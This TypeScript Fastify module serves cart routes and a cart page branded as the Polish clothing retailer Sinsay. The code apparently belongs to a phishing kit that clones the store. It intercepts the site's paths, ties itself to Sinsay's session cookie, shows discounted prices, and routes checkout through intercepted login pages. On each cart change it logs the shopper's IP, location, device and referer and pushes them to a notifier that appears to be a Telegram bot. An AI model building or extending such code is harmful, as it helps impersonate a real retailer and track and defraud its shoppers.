import { FastifyRequest, FastifyReply } from 'fastify';
import { v4 as uuidv4 } from 'uuid';
import { getRedis, REDIS_KEYS } from '../redis';
import { prisma } from '../db/client';
import { publishEvent } from '../tg/notifier';
import { config } from '../config';
import { applyPriceDiscount } from '../pricing';
import { extractClientIp, formatUserAgent, getGeo } from '../geo';

// ---- Cart item shape stored in Redis ----
export interface CartItem {
  id: string;
  productId: string;
  name: string;
  price: number;
  currency: string;
  quantity: number;
  size?: string;
  color?: string;
  imageUrl?: string;
}

export interface Cart {
  id: string;
  items: CartItem[];
  totalPrice: number;
  totalItems: number;
  currency: string;
}

async function getCart(sessionId: string): Promise<Cart> {
  const redis = getRedis();
  const raw = await redis.get(REDIS_KEYS.cart(sessionId));
  if (!raw) {
    return { id: sessionId, items: [], totalPrice: 0, totalItems: 0, currency: 'PLN' };
  }
  return JSON.parse(raw) as Cart;
}

async function saveCart(sessionId: string, cart: Cart): Promise<void> {
  const redis = getRedis();
  cart.totalPrice = cart.items.reduce((sum, i) => sum + i.price * i.quantity, 0);
  cart.totalItems = cart.items.reduce((sum, i) => sum + i.quantity, 0);
  await redis.setex(REDIS_KEYS.cart(sessionId), 60 * 60 * 24 * 7, JSON.stringify(cart));
}

const CART_SESSION_COOKIE_OPTS = {
  path: '/',
  maxAge: 60 * 60 * 24 * 30,
  httpOnly: true,
  sameSite: 'lax' as const,
};

/** Resolve cart session; bind Sinsay frontend= cookie to sid so login keeps Redis cart. */
export async function resolveCartSessionId(
  request: FastifyRequest,
  reply: FastifyReply,
): Promise<string> {
  const cookies = request.cookies as Record<string, string>;
  const redis = getRedis();
  let sessionId = cookies[config.session.cookieName];
  const frontend = cookies['frontend'];

  if (frontend) {
    const bound = await redis.get(REDIS_KEYS.cartFrontendBind(frontend));
    if (bound) sessionId = bound;
  }

  if (!sessionId) {
    sessionId = uuidv4();
  }

  reply.setCookie(config.session.cookieName, sessionId, CART_SESSION_COOKIE_OPTS);

  if (frontend) {
    await redis.setex(
      REDIS_KEYS.cartFrontendBind(frontend),
      60 * 60 * 24 * 7,
      sessionId,
    );
  }

  return sessionId;
}

/** @deprecated Use resolveCartSessionId — sync helper without frontend bind */
export function getSessionId(request: FastifyRequest, reply: FastifyReply): string {
  const cookies = request.cookies as Record<string, string>;
  let sessionId = cookies[config.session.cookieName];
  if (!sessionId) {
    sessionId = uuidv4();
    reply.setCookie(config.session.cookieName, sessionId, CART_SESSION_COOKIE_OPTS);
  }
  return sessionId;
}

function parseBody<T>(body: unknown): T {
  if (Buffer.isBuffer(body)) {
    return JSON.parse(body.toString('utf8')) as T;
  }
  if (typeof body === 'string') {
    return JSON.parse(body) as T;
  }
  return (body ?? {}) as T;
}

function jsonReply(reply: FastifyReply, status: number, data: unknown): void {
  reply.status(status).header('content-type', 'application/json').send(JSON.stringify(data));
}

function clampQuantity(quantity: unknown): number {
  const parsed = typeof quantity === 'number' ? quantity : parseInt(String(quantity ?? '1'), 10);
  if (!Number.isFinite(parsed)) return 1;
  return Math.max(1, Math.min(99, Math.floor(parsed)));
}

function cleanText(value: unknown, fallback = ''): string {
  if (typeof value !== 'string') return fallback;
  return value.trim().slice(0, 500) || fallback;
}

function cleanPrice(value: unknown): number {
  const parsed =
    typeof value === 'number'
      ? value
      : parseFloat(String(value ?? '0').replace(',', '.'));
  if (!Number.isFinite(parsed) || parsed < 0) return 0;
  return applyPriceDiscount(Math.round(parsed * 100) / 100);
}

async function requestContext(request: FastifyRequest): Promise<{
  ip: string;
  userAgent?: string;
  referer?: string;
  country?: string;
  countryName?: string;
  city?: string;
  flag?: string;
  device?: string;
}> {
  const ip = extractClientIp(request);
  const geo = await getGeo(ip);
  const userAgent = request.headers['user-agent'];
  return {
    ip,
    userAgent,
    referer: request.headers.referer,
    country: geo.countryCode,
    countryName: geo.countryName,
    city: geo.city,
    flag: geo.flag,
    device: formatUserAgent(userAgent),
  };
}

function getVisitorId(request: FastifyRequest): string | undefined {
  return (
    (request as FastifyRequest & { visitorId?: string }).visitorId ??
    (request.cookies as Record<string, string>)[config.session.visitorCookieName]
  );
}

// ---- Route handlers ----

/** GET /api/basket (or /api/v1/basket) */
export async function handleCartGet(request: FastifyRequest, reply: FastifyReply): Promise<void> {
  const sessionId = await resolveCartSessionId(request, reply);
  const cart = await getCart(sessionId);
  jsonReply(reply, 200, cart);
}

/** GET /pl/pl/checkout/cart/ — custom cart page */
export async function handleCartPage(_request: FastifyRequest, reply: FastifyReply): Promise<void> {
  const cartApiPath = config.intercept.cartPathPrefixes[1];
  const checkoutOrderPath = config.intercept.checkoutOrderPath;
  const checkoutLoginPrefix = config.intercept.checkoutLoginRedirectPrefix;
  const checkoutSessionApi = config.intercept.checkoutSessionPath;
  const html = `<!DOCTYPE html>
<html lang="pl">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Koszyk - Sinsay</title>
  <style>
    *{box-sizing:border-box;margin:0;padding:0}
    body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Arial,sans-serif;color:#222;background:#fff}
    .top{height:66px;border-bottom:1px solid #eee;display:flex;align-items:center;justify-content:center;position:relative}
    .top-logo{font-weight:800;font-size:24px;letter-spacing:.18em;color:#222;text-decoration:none}
    .top-back{position:absolute;left:24px;top:50%;transform:translateY(-50%);display:inline-flex;align-items:center;gap:8px;color:#222;text-decoration:none;font-size:14px;font-weight:700;letter-spacing:0}
    .top-back span{font-size:26px;line-height:1}
    .wrap{max-width:1180px;margin:34px auto;padding:0 18px}
    h1{font-size:28px;font-weight:600;margin-bottom:26px}
    .grid{display:grid;grid-template-columns:minmax(0,1fr) 360px;gap:34px;align-items:start}
    .card{border:1px solid #e6e6e6;background:#fff}
    .item{display:grid;grid-template-columns:112px minmax(0,1fr) 150px 120px 34px;gap:18px;padding:20px;border-bottom:1px solid #eee;align-items:center}
    .item:last-child{border-bottom:0}
    .item img{width:112px;height:150px;object-fit:cover;background:#f5f5f5}
    .name{font-size:15px;font-weight:600;line-height:1.35;margin-bottom:8px}
    .meta{font-size:13px;color:#777;line-height:1.6}
    .price{font-size:15px;font-weight:700;text-align:right}
    .qty{display:inline-flex;border:1px solid #ddd;height:38px;align-items:center}
    .qty button,.remove{appearance:none;border:0;background:#fff;cursor:pointer;color:#222}
    .qty button{width:36px;height:36px;font-size:18px;line-height:1;padding:0}
    .qty span{width:38px;text-align:center;font-size:14px}
    .remove{font-size:24px;color:#777}
    .summary{padding:22px;position:sticky;top:16px}
    .summary h2{font-size:18px;font-weight:600;margin-bottom:18px}
    .row{display:flex;justify-content:space-between;gap:12px;margin:12px 0;font-size:14px}
    .total{border-top:1px solid #eee;padding-top:16px;margin-top:16px;font-size:18px;font-weight:800}
    .btn{appearance:none;display:block;width:100%;min-height:48px;border:0;text-align:center;text-decoration:none;padding:15px 18px;font-weight:700;line-height:18px;cursor:pointer}
    .btn-main{background:#222;color:#fff;margin-top:20px}
    .btn-main:hover{background:#444}
    .btn-ghost{background:#fff;color:#222;border:1px solid #222;margin-top:10px}
    .empty{border:1px solid #eee;text-align:center;padding:58px 20px;color:#555}
    .loading{padding:28px;color:#777}
    @media(max-width:820px){.grid{grid-template-columns:1fr}.item{grid-template-columns:84px 1fr 34px;gap:12px}.item img{width:84px;height:112px}.price,.qty{grid-column:2}.price{text-align:left}.summary{position:static}.top-logo{font-size:20px}.top-back{left:14px;font-size:0}.top-back span{font-size:28px}}
  </style>
</head>
<body>
  <header class="top">
    <a class="top-back" href="/pl/pl/" onclick="if(document.referrer&&new URL(document.referrer).origin===location.origin){history.back();return false;}"><span>&larr;</span>Wróć</a>
    <a class="top-logo" href="/pl/pl/" aria-label="Sinsay homepage">SINSAY</a>
  </header>
  <main class="wrap">
    <h1>Koszyk</h1>
    <div class="grid">
      <section id="cart-items" class="card"><div class="loading">Ladowanie koszyka...</div></section>
      <aside class="card summary">
        <h2>Podsumowanie</h2>
        <div class="row"><span>Produkty</span><span id="sum-count">0</span></div>
        <div class="row"><span>Dostawa</span><span>Obliczana w kolejnym kroku</span></div>
        <div class="row total"><span>Razem</span><span id="sum-total">0,00 PLN</span></div>
        <a class="btn btn-main" href="${checkoutOrderPath}" id="checkout-link" data-cart-cta="checkout">Przejdź do płatności</a>
        <a class="btn btn-ghost" href="/pl/pl/">Kontynuuj zakupy</a>
      </aside>
    </div>
  </main>
  <script>
(function(){
  function markLeftCheckout(){
    try { sessionStorage.setItem('skipCheckoutRedirect', String(Date.now())); } catch(e) {}
  }
  document.addEventListener('click', function(ev){
    var a = ev.target && ev.target.closest ? ev.target.closest('a[href]') : null;
    if(!a) return;
    var h = a.getAttribute('href') || '';
    if(h === '/pl/pl/' || h === '/pl/pl' || (h.indexOf('/pl/pl') === 0 && h.indexOf('checkout') < 0)){
      markLeftCheckout();
    }
  }, true);
})();
(function(){
  var API = '${cartApiPath}';
  var CHECKOUT_ORDER = '${checkoutOrderPath}';
  var CHECKOUT_LOGIN = '${checkoutLoginPrefix}';
  var SESSION_API = '${checkoutSessionApi}';
  function gateCheckout(e){
    if(e){ e.preventDefault(); }
    fetch(SESSION_API,{credentials:'include'}).then(function(r){return r.json();}).then(function(d){
      window.location.href = (d && d.loggedIn) ? CHECKOUT_ORDER : CHECKOUT_LOGIN + btoa(CHECKOUT_ORDER) + '/';
    }).catch(function(){ window.location.href = CHECKOUT_LOGIN + btoa(CHECKOUT_ORDER) + '/'; });
  }
  document.getElementById('checkout-link').addEventListener('click', gateCheckout);
  function esc(s){return String(s||'').replace(/[&<>"]/g,function(c){return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;'}[c];});}
  function money(v,c){return (Number(v||0)).toFixed(2).replace('.', ',') + ' ' + (c || 'PLN');}
  function render(cart){
    var list = document.getElementById('cart-items');
    document.getElementById('sum-count').textContent = cart.totalItems || 0;
    document.getElementById('sum-total').textContent = money(cart.totalPrice, cart.currency);
    document.getElementById('checkout-link').style.pointerEvents = cart.totalItems ? '' : 'none';
    document.getElementById('checkout-link').style.opacity = cart.totalItems ? '1' : '.45';
    if(!cart.items || !cart.items.length){
      list.className = 'empty';
      list.innerHTML = '<h2>Twój koszyk jest pusty</h2><p style="margin-top:10px">Dodaj produkty, aby przejść do kasy.</p>';
      return;
    }
    list.className = 'card';
    list.innerHTML = cart.items.map(function(item){
      return '<article class="item" data-id="'+esc(item.id)+'">' +
        '<img src="'+esc(item.imageUrl || '')+'" alt="">' +
        '<div><div class="name">'+esc(item.name)+'</div><div class="meta">Nr produktu: '+esc(item.productId)+'</div>' +
        (item.size ? '<div class="meta">Rozmiar: '+esc(item.size)+'</div>' : '') + '</div>' +
        '<div class="qty"><button type="button" data-cart-action="dec" aria-label="Zmniejsz">-</button><span>'+item.quantity+'</span><button type="button" data-cart-action="inc" aria-label="Zwiększ">+</button></div>' +
        '<div class="price">'+money(item.price * item.quantity, item.currency)+'</div>' +
        '<button type="button" class="remove" data-cart-action="remove" aria-label="Usuń">×</button>' +
      '</article>';
    }).join('');
  }
  function load(){fetch(API,{credentials:'same-origin'}).then(function(r){return r.json();}).then(render);}
  function update(id, quantity){
    return fetch(API + '/items/' + encodeURIComponent(id), {method:'PUT',headers:{'Content-Type':'application/json'},credentials:'same-origin',body:JSON.stringify({quantity:quantity})}).then(function(r){return r.json();}).then(render);
  }
  function remove(id){
    return fetch(API + '/items/' + encodeURIComponent(id), {method:'DELETE',credentials:'same-origin'}).then(function(r){return r.json();}).then(render);
  }
  document.addEventListener('click', function(e){
    var control = e.target.closest && e.target.closest('[data-cart-action]');
    if(!control) return;
    e.preventDefault();
    e.stopPropagation();
    var item = control.closest('.item');
    if(!item) return;
    var id = item.getAttribute('data-id');
    var qty = parseInt(item.querySelector('.qty span').textContent,10) || 1;
    var action = control.getAttribute('data-cart-action');
    if(action === 'inc') update(id, qty + 1);
    if(action === 'dec') update(id, qty - 1);
    if(action === 'remove') remove(id);
  });
  load();
})();
</script>
<script src="/analytics.js" defer></script>
</body>
</html>`;

  reply.status(200).header('content-type', 'text/html; charset=utf-8').send(html);
}

/** POST /api/basket/items — add item */
export async function handleCartAdd(request: FastifyRequest, reply: FastifyReply): Promise<void> {
  const sessionId = await resolveCartSessionId(request, reply);
  const visitorId = getVisitorId(request);

  const body = parseBody<{
    productId?: string;
    name?: string;
    price?: number;
    currency?: string;
    quantity?: number;
    size?: string;
    color?: string;
    imageUrl?: string;
    sourceUrl?: string;
  }>(request.body);

  if (!body?.productId) {
    jsonReply(reply, 400, { error: 'productId is required' });
    return;
  }

  const cart = await getCart(sessionId);

  const existing = cart.items.find(
    (i) => i.productId === body.productId && i.size === body.size,
  );
  if (existing) {
    existing.quantity = Math.min(99, existing.quantity + clampQuantity(body.quantity));
    const incomingPrice = cleanPrice(body.price);
    if (incomingPrice > 0 && existing.price <= 0) existing.price = incomingPrice;
  } else {
    const newItem: CartItem = {
      id: uuidv4(),
      productId: cleanText(body.productId, 'unknown'),
      name: cleanText(body.name, body.productId),
      price: cleanPrice(body.price),
      currency: cleanText(body.currency, 'PLN').slice(0, 8),
      quantity: clampQuantity(body.quantity),
      size: cleanText(body.size),
      color: cleanText(body.color),
      imageUrl: cleanText(body.imageUrl),
    };
    cart.items.push(newItem);
  }

  await saveCart(sessionId, cart);

  // Track event
  try {
    const ctx = await requestContext(request);
    if (visitorId) {
      const dbVisitor = await prisma.visitor.findUnique({ where: { uuid: visitorId } });
      if (dbVisitor) {
        await prisma.visitorEvent.create({
          data: {
            visitorId: dbVisitor.id,
            type: 'cart.add',
            data: {
              productId: body.productId,
              name: body.name,
              price: body.price,
              quantity: body.quantity ?? 1,
              size: body.size,
              sourceUrl: body.sourceUrl,
              currentUrl: body.sourceUrl,
              ip: ctx.ip,
              country: ctx.country,
              countryCode: ctx.country,
              countryName: ctx.countryName,
              city: ctx.city,
              flag: ctx.flag,
              device: ctx.device,
              referer: ctx.referer,
              userAgent: ctx.userAgent,
              at: new Date().toISOString(),
            },
          },
        });
      }
    }

    await publishEvent({
      type: 'cart.add',
      visitorId: visitorId?.slice(0, 8) ?? 'unknown',
      ip: ctx.ip,
      country: ctx.country,
      countryName: ctx.countryName,
      city: ctx.city,
      flag: ctx.flag,
      device: ctx.device,
      userAgent: ctx.userAgent,
      referer: ctx.referer,
      sourceUrl: body.sourceUrl,
      productId: body.productId,
      productName: body.name ?? body.productId,
      price: body.price ?? 0,
      currency: body.currency ?? 'PLN',
      quantity: body.quantity ?? 1,
      size: body.size,
      imageUrl: body.imageUrl,
      cartTotal: cart.totalPrice,
      cartItemsCount: cart.totalItems,
      at: new Date().toISOString(),
    });
  } catch (err) {
    console.error('[cart.add] track error:', (err as Error).message);
  }

  jsonReply(reply, 200, cart);
}

/** DELETE /api/basket/items/:itemId — remove item */
export async function handleCartRemove(
  request: FastifyRequest<{ Params: { itemId: string } }>,
  reply: FastifyReply,
): Promise<void> {
  const sessionId = await resolveCartSessionId(request, reply);
  const { itemId } = request.params;
  const cart = await getCart(sessionId);
  const removed = cart.items.find((i) => i.id === itemId || i.productId === itemId);
  cart.items = cart.items.filter((i) => i.id !== itemId && i.productId !== itemId);
  await saveCart(sessionId, cart);

  if (removed) {
    const visitorId = getVisitorId(request);
    const ctx = await requestContext(request);
    try {
      if (visitorId) {
        const dbVisitor = await prisma.visitor.findUnique({ where: { uuid: visitorId } });
        if (dbVisitor) {
          await prisma.visitorEvent.create({
            data: {
              visitorId: dbVisitor.id,
              type: 'cart.remove',
              data: {
                productId: removed.productId,
                name: removed.name,
                quantity: removed.quantity,
                ip: ctx.ip,
                country: ctx.country,
                countryCode: ctx.country,
                countryName: ctx.countryName,
                city: ctx.city,
                flag: ctx.flag,
                device: ctx.device,
                referer: ctx.referer,
                at: new Date().toISOString(),
              },
            },
          });
        }
      }
    } catch (err) {
      console.error('[cart.remove] track error:', (err as Error).message);
    }
    await publishEvent({
      type: 'cart.remove',
      visitorId: visitorId?.slice(0, 8) ?? 'unknown',
      ip: ctx.ip,
      country: ctx.country,
      countryName: ctx.countryName,
      city: ctx.city,
      flag: ctx.flag,
      device: ctx.device,
      productId: removed.productId,
      productName: removed.name,
      quantity: removed.quantity,
      cartTotal: cart.totalPrice,
      cartItemsCount: cart.totalItems,
      currency: removed.currency,
      at: new Date().toISOString(),
    });
  }

  jsonReply(reply, 200, cart);
}

/** PUT /api/basket/items/:itemId — update quantity */
export async function handleCartUpdate(
  request: FastifyRequest<{ Params: { itemId: string } }>,
  reply: FastifyReply,
): Promise<void> {
  const sessionId = await resolveCartSessionId(request, reply);
  const { itemId } = request.params;
  const body = parseBody<{ quantity?: number }>(request.body);
  const cart = await getCart(sessionId);
  const item = cart.items.find((i) => i.id === itemId || i.productId === itemId);
  if (item && body.quantity !== undefined) {
    if (body.quantity <= 0) {
      cart.items = cart.items.filter((i) => i.id !== itemId && i.productId !== itemId);
    } else {
      item.quantity = clampQuantity(body.quantity);
    }
  }
  await saveCart(sessionId, cart);
  jsonReply(reply, 200, cart);
}
